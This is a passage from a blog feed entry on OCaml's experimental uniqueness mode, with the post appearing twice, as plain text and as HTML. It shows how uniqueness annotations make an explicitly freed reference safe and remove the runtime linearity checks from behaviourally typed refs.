  val free : 'a t @ unique -> unit
  val get : 'a t @ unique -> 'a Modes.Aliased.t * 'a t @ unique
  val set : 'a t @ unique -> 'a -> 'a t @ unique
end


The unique annotation states that the value is not aliased. The operations on
the reference expect that this reference is not aliased. Observe that get and
set take in the unique reference and also return them unlike the original
interface. You can use this like so:

# let okay r =
    let v, r = get r in
    let r = set r 20 in
    free r;;
val okay : int M.t @ unique -> unit = <fun>


The key bit is that free consumes the unique reference; you can
no longer produce a unique handle to the same reference and hence, you cannot
call free, get or set on this reference which has been freed.

# let wont_work r =
    free r;
    get r
  ;;
Error: This value is used here, but it has already been used as unique:
Line 2, characters 7-8:


Modes.Aliased.t
Uniqueness applies deeply. If a value is marked as unique, then the transitive
closure of the reachable parts of the object is also expected to be unique. The
return value of get is a pair, which is marked as unique1. Hence, both
the components of the pair are expected to be unique. However, we don’t want to
impose uniqueness of the value stored in the reference. The language allows
parts of the value to be marked as aliased. Modes.Aliased.t is defined as:

module Aliased : sig
  type 'a t = { aliased : 'a @@ aliased } [@@unboxed]
end


The language allows record fields to be annotated as aliased, while the record
itself may be uniquely referenced.
Implementation
Here’s an implementation of that satisfies the signature.

module M : S = struct
  type 'a t = { mutable value : 'a }
  let alloc x = { value = x }
  let free t = ()
  let get t =
    let a = Modes.Aliased.{aliased = t.value } in
    a, t
  let set t x =
    t.value <- x;
    t
end


There’s nothing surprising about this implementation. Note that the compiler is
doing a lot of work behind the scenes to ensure that the functions do in fact
satisfy the uniqueness requirements. For example, if you change the
implementation of set to do something innocuous where the compiler cannot
prove that the value is not aliased, the program no longer compiles:

# let set t x =
    t.value <- x;
    let t' = Fun.id t in (* compiler cannot prove [t'] is not aliased *)
    t'
Error: <snip>
Values do not match:
 val set : 'a t -> 'a -> 'a t
is not included in
 val set : 'a t @ unique -> 'a -> 'a t @ unique
The type 'a t -> 'a -> 'a t is not compatible with the type
 'a t @ unique -> 'a -> 'a t @ unique


Refs that explain their work
The earlier blog
post
used polymorphic variants to encode the protocol of operations that are
permitted on a ref cell. The implementation is reproduced below:

module type Ref =
sig
  type ('a, 'b) ref constraint 'b = [>]

  val ref   : 'a -> ('a, 'b) ref
  val read  : ('a, [`Read of 'b]) ref
              -> 'a * ('a, 'b) ref
  val write : ('a, [`Write of 'b]) ref
              -> 'a
              -> ('a, 'b) ref
end
module Ref : Ref =
struct

  type ('a, 'b) ref =
    {contents     : 'a;
     mutable live : bool} (* For linearity *)
     constraint 'b = [>]

  let ref v = {contents = v; live = true}

  let check r =
    if not r.live then raise LinearityViolation;
    r.live <- false

  let fresh r = {r with live = true}

  let read r =
    check r;
    (r.contents, fresh r)

  let write r v =
    check r;
    { contents = v; live = true }

  let branch r _ = check r; fresh r
end


Observe that we use a dynamic check to enforce linearity. It requires a fresh
ref cell for each operation performed on this reference. With uniqueness, we can
enforce this statically, avoiding the dynamic check and the fresh ref cell
requirement.

module type Ref =
sig
  type ('a, 'b) ref constraint 'b = [>]
  (* 'b is the behavioural type variable *)

  val ref   : 'a -> ('a, 'b) ref @ unique
  val read  : ('a, [`Read of 'b]) ref @ unique
              -> 'a Modes.Aliased.t * ('a, 'b) ref @ unique
  val write : ('a, [`Write of 'b]) ref @ unique
              -> 'a
              -> ('a, 'b) ref @ unique
  val branch : ('a, [>] as 'b) ref @ unique
               -> (('a, [>] as 'c) ref @ unique -> 'b)
               -> ('a, 'c) ref @ unique
end

module Ref : Ref =
struct
  type ('a, 'b) ref = {mutable contents : 'a} constraint 'b = [>]

  let ref v = {contents = v}

  let read r =
    let c = Modes.Aliased.{aliased = r.contents} in
    c, Obj.magic_at_unique r

  let write r v =
    r.contents <- v;
    Obj.magic_at_unique r

  let branch r _ = Obj.magic_at_unique r
end


The only changes necessary in the signature were a number of uniqueness and
aliasing annotations. Notice that the implementation no longer needs the
dynamic check! Obj.magic_at_unique has the type 'a @ unique -> 'b @ unique,
and is the version of Obj.magic with uniqueness annotation. We use it to
advance the protocol type state.
Where next
The rest of the examples in the original
post should also
benefit from uniqueness annotations to remove the runtime overheads.
The complete code examples are available
here.
You can also play with the code examples directly in the
browser thanks to Patrick
Ferris’ OCaml with extensions
js_of_ocaml top-level.
Since the modes features are constantly evolving, there are no stability
guarantees yet. However, I’m excited about the possibility of modes improving
how we do safe systems programming in OCaml.
Addendum
Looks like there’s a part 2 of this post.
Footnotes
Unclear whether it is possible to return a pair where one of the
components is unique, but the other one is not. ↩]]></description>
            <content:encoded><![CDATA[<p>Jane Street has been developing modal types for OCaml – an extension to the
type system where modes track properties of values, such as their scope, thread
sharing, and aliasing. These modes restrict which operations are permitted on
values, enabling safer and more efficient systems programming. In this post, I
focus on the uniqueness mode, which tracks aliasing, and show how it can
eliminate certain runtime checks.</p>

<!--more-->

<p>My intention in this post is not to explain how the different modes work. There
are a number of blog posts and academic papers written about modes. I recommend
the interested reader to have look at them. The following table summarizes the
main properties tracked by modes, the corresponding mode names, and resources
for further reading:</p>

<table>
  <thead>
    <tr>
      <th>Property</th>
      <th>Modes</th>
      <th>Resources</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Scope</td>
      <td>Locality</td>
      <td><a href="https://blog.janestreet.com/oxidizing-ocaml-locality/">Blog</a>, <a href="https://dl.acm.org/doi/10.1145/3674642">Paper</a></td>
    </tr>
    <tr>
      <td>Sharing between threads</td>
      <td>Portability, Contention</td>
      <td><a href="https://blog.janestreet.com/oxidizing-ocaml-parallelism/">Blog</a>, <a href="https://dl.acm.org/doi/10.1145/3704859">Paper</a></td>
    </tr>
    <tr>
      <td>Aliasing</td>
      <td>Uniqueness, Linearity</td>
      <td><a href="https://blog.janestreet.com/oxidizing-ocaml-ownership/">Blog</a>, <a href="https://dl.acm.org/doi/10.1145/3674642">Paper</a></td>
    </tr>
  </tbody>
</table>

<p>The OCaml compiler extended with modes is <a href="https://github.com/ocaml-flambda/flambda-backend">developed in the
open</a>, and is used in
production at Jane Street. The repo also has some
<a href="https://github.com/ocaml-flambda/flambda-backend/tree/main/jane/doc">documentation</a>
of the extensions.</p>

<p>Be warned that the compiler and the language features are fast evolving. The
code examples presented in the blog and the paper referenced above are likely
not to work. I expect the same for the code examples in this post in the near
future, but that’s what one should expect with these bleeding-edge features.</p>

<h2 id="behavioural-types-and-runtime-overhead">Behavioural types and runtime overhead</h2>

<p>A couple of years ago, I wrote a post on <a href="https://kcsrk.info/ocaml/types/2016/06/30/behavioural-types/">behavioural
types</a> where the
types capture the sequence of operations that may be performed on the values
with those types. The correctness of the system depended on the linear use of
the resources. Since OCaml does not provide support for enforcing linearity
statically, the implementation uses a dynamic check, using a fresh ref cell that
gets <em>consumed</em> every time the type state changes. If we are guaranteed that the
resource is not aliased statically, then there’s no need for the dynamic check.
This is where <em>uniqueness</em> helps.</p>

<p>Uniqueness mode allows the OCaml compiler to statically guarantee that certain
values are not aliased. This enables optimizations and eliminates the need for
some runtime checks, which is particularly valuable in systems programming for
ensuring memory safety and efficient resource management.</p>

<h2 id="setting-up-ocaml-with-modes">Setting up OCaml with modes</h2>

<p>An opam repository with the modes extensions and packages supporting modes is
available
<a href="https://github.com/janestreet/opam-repository/tree/with-extensions">here</a>.
Here’s how you can set up the new compiler:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># this will take time</span>
opam switch create 5.2.0+flambda2 <span class="nt">--repos</span> with-extensions<span class="o">=</span>git+https://github.com/janestreet/opam-repository.git#with-extensions,default
<span class="nb">eval</span> <span class="si">$(</span>opam <span class="nb">env</span> <span class="nt">--switch</span> 5.2.0+flambda2<span class="si">)</span>
</code></pre></div></div>

<h2 id="an-explicitly-memory-managed-reference">An explicitly memory-managed reference</h2>

<p>Suppose you want to implement a mutable reference whose memory is explicitly
managed (not managed by the GC), you may go for the following interface:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">S</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">alloc</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="kt">unit</span> <span class="c">(* unsafe *)</span>
  <span class="k">val</span> <span class="n">get</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
  <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">end</span>
</code></pre></div></div>

<p>This interface provides an explicit <code class="language-plaintext highlighter-rouge">free</code>, which releases the memory associated
with this reference. This opens up the possibility of memory safety bugs such as
use-after-free and double-free. We can use uniqueness modality to get a <em>safe</em>
API. Here’s the interface:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">S</span> <span class="o">=</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
  <span class="k">val</span> <span class="n">alloc</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">free</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
  <span class="k">val</span> <span class="n">get</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="nn">Modes</span><span class="p">.</span><span class="nn">Aliased</span><span class="p">.</span><span class="n">t</span> <span class="o">*</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">unique</code> annotation states that the value is not aliased. The operations on
the reference expect that this reference is not aliased. Observe that <code class="language-plaintext highlighter-rouge">get</code> and
<code class="language-plaintext highlighter-rouge">set</code> take in the unique reference and also return them unlike the original
interface. You can use this like so:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="k">let</span> <span class="n">okay</span> <span class="n">r</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">v</span><span class="o">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">get</span> <span class="n">r</span> <span class="k">in</span>
    <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">set</span> <span class="n">r</span> <span class="mi">20</span> <span class="k">in</span>
    <span class="n">free</span> <span class="n">r</span><span class="p">;;</span>
<span class="k">val</span> <span class="n">okay</span> <span class="o">:</span> <span class="kt">int</span> <span class="nn">M</span><span class="p">.</span><span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="kt">unit</span> <span class="o">=</span> <span class="o">&lt;</span><span class="k">fun</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>The key bit is that <code class="language-plaintext highlighter-rouge">free</code> <em>consumes</em> the unique reference; you can
no longer produce a unique handle to the same reference and hence, you cannot
call <code class="language-plaintext highlighter-rouge">free</code>, <code class="language-plaintext highlighter-rouge">get</code> or <code class="language-plaintext highlighter-rouge">set</code> on this reference which has been freed.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="k">let</span> <span class="n">wont_work</span> <span class="n">r</span> <span class="o">=</span>
    <span class="n">free</span> <span class="n">r</span><span class="p">;</span>
    <span class="n">get</span> <span class="n">r</span>
  <span class="p">;;</span>
<span class="nc">Error</span><span class="o">:</span> <span class="nc">This</span> <span class="n">value</span> <span class="n">is</span> <span class="n">used</span> <span class="n">here</span><span class="o">,</span> <span class="n">but</span> <span class="n">it</span> <span class="n">has</span> <span class="n">already</span> <span class="n">been</span> <span class="n">used</span> <span class="k">as</span> <span class="n">unique</span><span class="o">:</span>
<span class="nc">Line</span> <span class="mi">2</span><span class="o">,</span> <span class="n">characters</span> <span class="mi">7</span><span class="o">-</span><span class="mi">8</span><span class="o">:</span>
</code></pre></div></div>

<h3 id="modesaliasedt">Modes.Aliased.t</h3>

<p>Uniqueness applies deeply. If a value is marked as unique, then the transitive
closure of the reachable parts of the object is also expected to be unique. The
return value of <code class="language-plaintext highlighter-rouge">get</code> is a pair, which is marked as <code class="language-plaintext highlighter-rouge">unique</code><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>. Hence, both
the components of the pair are expected to be unique. However, we don’t want to
impose uniqueness of the value stored in the reference. The language allows
parts of the value to be marked as aliased. <code class="language-plaintext highlighter-rouge">Modes.Aliased.t</code> is defined as:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">Aliased</span> <span class="o">:</span> <span class="k">sig</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="p">{</span> <span class="n">aliased</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">@@</span> <span class="n">aliased</span> <span class="p">}</span> <span class="p">[</span><span class="o">@@</span><span class="n">unboxed</span><span class="p">]</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The language allows record fields to be annotated as <code class="language-plaintext highlighter-rouge">aliased</code>, while the record
itself may be uniquely referenced.</p>

<h3 id="implementation">Implementation</h3>

<p>Here’s an implementation of that satisfies the signature.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nc">M</span> <span class="o">:</span> <span class="nc">S</span> <span class="o">=</span> <span class="k">struct</span>
  <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">=</span> <span class="p">{</span> <span class="k">mutable</span> <span class="n">value</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="p">}</span>
  <span class="k">let</span> <span class="n">alloc</span> <span class="n">x</span> <span class="o">=</span> <span class="p">{</span> <span class="n">value</span> <span class="o">=</span> <span class="n">x</span> <span class="p">}</span>
  <span class="k">let</span> <span class="n">free</span> <span class="n">t</span> <span class="o">=</span> <span class="bp">()</span>
  <span class="k">let</span> <span class="n">get</span> <span class="n">t</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">a</span> <span class="o">=</span> <span class="nn">Modes</span><span class="p">.</span><span class="nn">Aliased</span><span class="p">.{</span><span class="n">aliased</span> <span class="o">=</span> <span class="n">t</span><span class="o">.</span><span class="n">value</span> <span class="p">}</span> <span class="k">in</span>
    <span class="n">a</span><span class="o">,</span> <span class="n">t</span>
  <span class="k">let</span> <span class="n">set</span> <span class="n">t</span> <span class="n">x</span> <span class="o">=</span>
    <span class="n">t</span><span class="o">.</span><span class="n">value</span> <span class="o">&lt;-</span> <span class="n">x</span><span class="p">;</span>
    <span class="n">t</span>
<span class="k">end</span>
</code></pre></div></div>

<p>There’s nothing surprising about this implementation. Note that the compiler is
doing a lot of work behind the scenes to ensure that the functions do in fact
satisfy the uniqueness requirements. For example, if you change the
implementation of <code class="language-plaintext highlighter-rouge">set</code> to do something <em>innocuous</em> where the compiler cannot
prove that the value is not aliased, the program no longer compiles:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">#</span> <span class="k">let</span> <span class="n">set</span> <span class="n">t</span> <span class="n">x</span> <span class="o">=</span>
    <span class="n">t</span><span class="o">.</span><span class="n">value</span> <span class="o">&lt;-</span> <span class="n">x</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">t'</span> <span class="o">=</span> <span class="nn">Fun</span><span class="p">.</span><span class="n">id</span> <span class="n">t</span> <span class="k">in</span> <span class="c">(* compiler cannot prove [t'] is not aliased *)</span>
    <span class="n">t'</span>
<span class="nc">Error</span><span class="o">:</span> <span class="o">&lt;</span><span class="n">snip</span><span class="o">&gt;</span>
<span class="nc">Values</span> <span class="k">do</span> <span class="n">not</span> <span class="k">match</span><span class="o">:</span>
 <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span>
<span class="n">is</span> <span class="n">not</span> <span class="n">included</span> <span class="k">in</span>
 <span class="k">val</span> <span class="n">set</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
<span class="nc">The</span> <span class="k">type</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="n">is</span> <span class="n">not</span> <span class="n">compatible</span> <span class="k">with</span> <span class="n">the</span> <span class="k">type</span>
 <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="n">t</span> <span class="o">@</span> <span class="n">unique</span>
</code></pre></div></div>

<h2 id="refs-that-explain-their-work">Refs that explain their work</h2>

<p>The <a href="https://kcsrk.info/ocaml/types/2016/06/30/behavioural-types/#refs-that-explain-their-work">earlier blog
post</a>
used polymorphic variants to encode the <em>protocol</em> of operations that are
permitted on a ref cell. The implementation is reproduced below:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">sig</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">val</span> <span class="n">ref</span>   <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">read</span>  <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span>
              <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
  <span class="k">val</span> <span class="n">write</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span>
              <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
              <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span>
<span class="k">end</span>
<span class="k">module</span> <span class="nc">Ref</span> <span class="o">:</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">struct</span>

  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">=</span>
    <span class="p">{</span><span class="n">contents</span>     <span class="o">:</span> <span class="k">'</span><span class="n">a</span><span class="p">;</span>
     <span class="k">mutable</span> <span class="n">live</span> <span class="o">:</span> <span class="kt">bool</span><span class="p">}</span> <span class="c">(* For linearity *)</span>
     <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">let</span> <span class="n">ref</span> <span class="n">v</span> <span class="o">=</span> <span class="p">{</span><span class="n">contents</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">check</span> <span class="n">r</span> <span class="o">=</span>
    <span class="k">if</span> <span class="n">not</span> <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="k">then</span> <span class="k">raise</span> <span class="nc">LinearityViolation</span><span class="p">;</span>
    <span class="n">r</span><span class="o">.</span><span class="n">live</span> <span class="o">&lt;-</span> <span class="bp">false</span>

  <span class="k">let</span> <span class="n">fresh</span> <span class="n">r</span> <span class="o">=</span> <span class="p">{</span><span class="n">r</span> <span class="k">with</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">read</span> <span class="n">r</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">contents</span><span class="o">,</span> <span class="n">fresh</span> <span class="n">r</span><span class="p">)</span>

  <span class="k">let</span> <span class="n">write</span> <span class="n">r</span> <span class="n">v</span> <span class="o">=</span>
    <span class="n">check</span> <span class="n">r</span><span class="p">;</span>
    <span class="p">{</span> <span class="n">contents</span> <span class="o">=</span> <span class="n">v</span><span class="p">;</span> <span class="n">live</span> <span class="o">=</span> <span class="bp">true</span> <span class="p">}</span>

  <span class="k">let</span> <span class="n">branch</span> <span class="n">r</span> <span class="n">_</span> <span class="o">=</span> <span class="n">check</span> <span class="n">r</span><span class="p">;</span> <span class="n">fresh</span> <span class="n">r</span>
<span class="k">end</span>
</code></pre></div></div>

<p>Observe that we use a dynamic check to enforce linearity. It requires a <em>fresh</em>
ref cell for each operation performed on this reference. With uniqueness, we can
enforce this statically, avoiding the dynamic check and the fresh ref cell
requirement.</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="k">type</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">sig</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>
  <span class="c">(* 'b is the behavioural type variable *)</span>

  <span class="k">val</span> <span class="n">ref</span>   <span class="o">:</span> <span class="k">'</span><span class="n">a</span> <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">read</span>  <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Read</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
              <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span> <span class="nn">Modes</span><span class="p">.</span><span class="nn">Aliased</span><span class="p">.</span><span class="n">t</span> <span class="o">*</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">write</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="nt">`Write</span> <span class="k">of</span> <span class="k">'</span><span class="n">b</span><span class="p">])</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
              <span class="o">-&gt;</span> <span class="k">'</span><span class="n">a</span>
              <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
  <span class="k">val</span> <span class="n">branch</span> <span class="o">:</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
               <span class="o">-&gt;</span> <span class="p">((</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span> <span class="k">as</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span> <span class="o">-&gt;</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span>
               <span class="o">-&gt;</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">c</span><span class="p">)</span> <span class="n">ref</span> <span class="o">@</span> <span class="n">unique</span>
<span class="k">end</span>

<span class="k">module</span> <span class="nc">Ref</span> <span class="o">:</span> <span class="nc">Ref</span> <span class="o">=</span>
<span class="k">struct</span>
  <span class="k">type</span> <span class="p">(</span><span class="k">'</span><span class="n">a</span><span class="o">,</span> <span class="k">'</span><span class="n">b</span><span class="p">)</span> <span class="n">ref</span> <span class="o">=</span> <span class="p">{</span><span class="k">mutable</span> <span class="n">contents</span> <span class="o">:</span> <span class="k">'</span><span class="n">a</span><span class="p">}</span> <span class="k">constraint</span> <span class="k">'</span><span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="o">&gt;</span><span class="p">]</span>

  <span class="k">let</span> <span class="n">ref</span> <span class="n">v</span> <span class="o">=</span> <span class="p">{</span><span class="n">contents</span> <span class="o">=</span> <span class="n">v</span><span class="p">}</span>

  <span class="k">let</span> <span class="n">read</span> <span class="n">r</span> <span class="o">=</span>
    <span class="k">let</span> <span class="n">c</span> <span class="o">=</span> <span class="nn">Modes</span><span class="p">.</span><span class="nn">Aliased</span><span class="p">.{</span><span class="n">aliased</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">contents</span><span class="p">}</span> <span class="k">in</span>
    <span class="n">c</span><span class="o">,</span> <span class="nn">Obj</span><span class="p">.</span><span class="n">magic_at_unique</span> <span class="n">r</span>

  <span class="k">let</span> <span class="n">write</span> <span class="n">r</span> <span class="n">v</span> <span class="o">=</span>
    <span class="n">r</span><span class="o">.</span><span class="n">contents</span> <span class="o">&lt;-</span> <span class="n">v</span><span class="p">;</span>
    <span class="nn">Obj</span><span class="p">.</span><span class="n">magic_at_unique</span> <span class="n">r</span>

  <span class="k">let</span> <span class="n">branch</span> <span class="n">r</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">Obj</span><span class="p">.</span><span class="n">magic_at_unique</span> <span class="n">r</span>
<span class="k">end</span>
</code></pre></div></div>

<p>The only changes necessary in the signature were a number of uniqueness and
aliasing annotations. Notice that the implementation no longer needs the
dynamic check! <code class="language-plaintext highlighter-rouge">Obj.magic_at_unique</code> has the type <code class="language-plaintext highlighter-rouge">'a @ unique -&gt; 'b @ unique</code>,
and is the version of <code class="language-plaintext highlighter-rouge">Obj.magic</code> with uniqueness annotation. We use it to
<em>advance</em> the protocol type state.</p>

<h2 id="where-next">Where next</h2>

<p>The rest of the examples in the <a href="https://kcsrk.info/ocaml/types/2016/06/30/behavioural-types/">original
post</a> should also
benefit from uniqueness annotations to remove the runtime overheads.</p>

<p>The complete code examples are available
<a href="https://github.com/kayceesrk/code-snippets/tree/master/oxcaml/uniqueness_may_2025">here</a>.
You can also play with the code examples <a href="https://tinyurl.com/y7ku8r5h">directly in the
browser</a> thanks to <a href="https://patrick.sirref.org/index/index.xml">Patrick
Ferris’</a> OCaml with extensions
<a href="https://patrick.sirref.org/try-oxcaml/index.xml">js_of_ocaml top-level</a>.</p>

<p>Since the modes features are constantly evolving, there are no stability
guarantees yet. However, I’m excited about the possibility of modes improving
how we do safe systems programming in OCaml.</p>

<h2 id="addendum">Addendum</h2>

<p>Looks like there’s a <a href="https://kcsrk.info/ocaml/modes/oxcaml/2025/06/04/linearity_and_uniqueness/">part 2</a> of this post.</p>

<h2 id="footnotes">Footnotes</h2>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
